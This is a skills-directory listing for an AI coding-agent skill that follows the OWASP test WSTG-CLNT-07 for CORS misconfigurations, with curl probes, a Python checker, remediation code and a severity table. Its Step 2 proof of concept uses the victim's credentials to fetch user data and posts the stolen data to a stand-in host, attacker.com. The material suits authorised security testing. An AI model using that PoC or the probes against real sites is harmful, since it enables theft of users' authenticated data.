Testing for Cross-Origin Resource Sharing (CORS)
Scanned 9/3/2026
Install to Claude Code
npx -y skills add CyberStrikeus/CyberStrike --skill wstg-clnt-07 --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Wstg Clnt 07?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/cyberstrikeus-wstg-clnt-07)More formats (shields.io, HTML) on the badges page.
---
name: wstg-clnt-07
description: "Testing for Cross-Origin Resource Sharing (CORS)"
category: client-side
owasp_id: WSTG-CLNT-07
version: "1.0.0"
author: cyberstrike-official
tags: [client-side, javascript, dom, cors, wstg, clnt]
tech_stack: [cors, javascript]
cwe_ids: [CWE-942]
chains_with: []
prerequisites: []
severity_boost: {}
---
# wstg-clnt-07
## Test ID
WSTG-CLNT-07
## Test Name
Testing for Cross-Origin Resource Sharing (CORS)
## High-Level Description
CORS is a browser mechanism that allows controlled access to resources from different origins. Misconfigured CORS policies can allow malicious websites to read sensitive data from authenticated users, leading to data theft.
---
## What to Check
- [ ] Wildcard (\*) Access-Control-Allow-Origin
- [ ] Origin reflection without validation
- [ ] null origin acceptance
- [ ] Credentials with permissive CORS
- [ ] Internal endpoints exposed
---
## How to Test
### Step 1: Test CORS Headers
```bash
#!/bin/bash
TARGET="https://target.com/api/user"
# Test with attacker origin
curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control"
# Test with null origin
curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control"
# Test with subdomain
curl -sI -H "Origin: https://sub.target.com" "$TARGET" | grep -i "access-control"
# Test reflection
curl -sI -H "Origin: https://target.com.evil.com" "$TARGET" | grep -i "access-control"
```
### Step 2: CORS Exploitation PoC
```html
<!-- Host this on attacker.com -->
<!DOCTYPE html>
<html>
<body>
<script>
// If CORS allows evil.com, this will work
fetch("https://target.com/api/user", {
credentials: "include",
})
.then((response) => response.json())
.then((data) => {
// Send stolen data to attacker
fetch("https://attacker.com/log", {
method: "POST",
body: JSON.stringify(data),
})
})
</script>
</body>
</html>
```
### Step 3: CORS Tester
```python
#!/usr/bin/env python3
import requests
class CORSTester:
def __init__(self, url):
self.url = url
self.findings = []
def test_cors(self):
"""Test CORS configuration"""
print(f"[*] Testing CORS on {self.url}")
test_origins = [
("https://evil.com", "Arbitrary origin"),
("null", "Null origin"),
("https://target.com.evil.com", "Suffix match bypass"),
("https://eviltarget.com", "Prefix/suffix confusion"),
]
for origin, description in test_origins:
headers = {"Origin": origin}
response = requests.get(self.url, headers=headers)
acao = response.headers.get("Access-Control-Allow-Origin", "")
acac = response.headers.get("Access-Control-Allow-Credentials", "")
if origin in acao or acao == "*":
severity = "High" if acac.lower() == "true" else "Medium"
print(f"[VULN] {description}: ACAO={acao}, ACAC={acac}")
self.findings.append({
"origin": origin,
"description": description,
"acao": acao,
"credentials": acac,
"severity": severity
})
def generate_report(self):
print("\n" + "="*50)
print("CORS SECURITY REPORT")
print("="*50)
if not self.findings:
print("\nNo CORS issues found.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['description']}")
print(f" Origin: {f['origin']}")
print(f" ACAO: {f['acao']}")
# Usage
tester = CORSTester("https://target.com/api/user")
tester.test_cors()
tester.generate_report()
```
---
## Remediation
```python
# Proper CORS configuration
ALLOWED_ORIGINS = ['https://trusted.com', 'https://app.trusted.com']
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
return response
```
---
## Risk Assessment
| Finding | CVSS | Severity |
| ---------------------------------------- | ---- | -------- |
| CORS with credentials + arbitrary origin | 8.1 | High |
| Wildcard CORS without credentials | 5.3 | Medium |
| null origin accepted | 6.5 | Medium |
---
## CWE Categories
| CWE ID | Title |
| ----------- | ----------------------------------------------------- |
| **CWE-942** | Permissive Cross-domain Policy with Untrusted Domains |
---
## Checklist
```
[ ] CORS headers analyzed
[ ] Arbitrary origins tested
[ ] null origin tested
[ ] Credentials header checked
[ ] PoC created if vulnerable
[ ] Findings documented
```
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!